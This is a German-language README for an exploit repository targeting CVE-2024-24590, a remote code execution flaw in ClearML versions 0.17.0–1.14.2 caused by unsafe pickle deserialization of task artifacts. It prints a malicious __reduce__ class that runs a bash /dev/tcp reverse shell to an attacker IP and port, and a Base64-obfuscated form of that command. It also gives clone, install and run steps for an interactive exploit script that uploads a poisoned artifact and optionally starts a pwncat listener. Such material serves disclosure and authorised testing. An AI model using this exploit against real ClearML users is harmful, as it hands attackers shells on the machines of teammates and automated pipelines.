CVE-2024-24590 – ClearML RCE via unsichere Pickle-Artefakt-Deserialisierung (0.17.0–1.14.2)
| Feld | Details |
|---|---|
| CVE | CVE-2024-24590 |
| Software | ClearML |
| Betroffene Versionen | 0.17.0 – 1.14.2 |
| Sicherheitslücke | Unsicheres Pickle-Deserialisieren von Aufgabenartefakten |
| Authentifizierung | Erfordert Schreibzugriff auf ein ClearML-Projekt |
| Auswirkung | Remote-Code-Ausführung auf jedem Rechner, der das Artefakt lädt |
| Getestet auf | Ubuntu 22.04, Python 3.9+ |
ClearML ist eine MLOps-Plattform, die zum Verfolgen von Experimenten, Verwalten von Datensätzen und Teilen von Artefakten (Modellen, Dateien, Objekten) zwischen Teammitgliedern verwendet wird. Wenn ein Aufgabenartefakt als Python-Objekt hochgeladen wird, serialisiert ClearML es mit dem Python-Modul pickle. Wenn ein anderer Benutzer dieses Artefakt herunterlädt und lädt, deserialisiert ClearML es – ebenfalls mit pickle – ohne Integritätsprüfung oder Klassen-Zulassungsliste.
Ein Angreifer mit Schreibzugriff auf ein gemeinsam genutztes ClearML-Projekt kann ein schädliches Artefakt mit einer überschriebenen __reduce__-Methode hochladen. Jedes Teammitglied oder jede automatisierte Pipeline, die dieses Artefakt abruft und lädt, führt während der Deserialisierung die Nutzlast des Angreifers aus, was zu einer RCE auf dessen Rechner führt.
Das Python-Modul pickle ist grundsätzlich unsicher für nicht vertrauenswürdige Eingaben. Die magische Methode __reduce__ einer Klasse steuert, wie sie während der Deserialisierung rekonstruiert wird – sie kann beliebige aufrufbare Objekte und Argumente zurückgeben, einschließlich os.system:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
Wenn dies gepickled und später entpickled wird, ruft Python im Rahmen der Objekt-Rekonstruktion os.system(cmd) auf – bevor der Aufrufer überhaupt die Möglichkeit hat, das Objekt zu überprüfen.
Attacker (project write access)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
ClearML server stores artifact as a pickled binary blob
│
▼
Victim fetches artifact (automated pipeline / manual review)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
│
▼
Reverse shell connects back to attacker
Der Befehl für die Reverse Shell wird vor der Einbettung Base64-kodiert, um Probleme mit Shell-Quoting im serialisierten String zu vermeiden:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
Anforderungen: clearml, pwntools, colorama
python3 exploit.py
Das interaktive Menü führt durch zwei Schritte:
Schritt 1 — ClearML initialisieren (Option 1)
Führt clearml-init aus, um die Anmeldeinformationen für den Ziel-ClearML-Server zu konfigurieren. Sichert zunächst eine vorhandene ~/clearml.conf.
Schritt 2 — Exploit ausführen (Option 2)
Fordert zur Eingabe auf:
Startet optional automatisch einen pwncat-Listener, bevor das Artefakt hochgeladen wird.
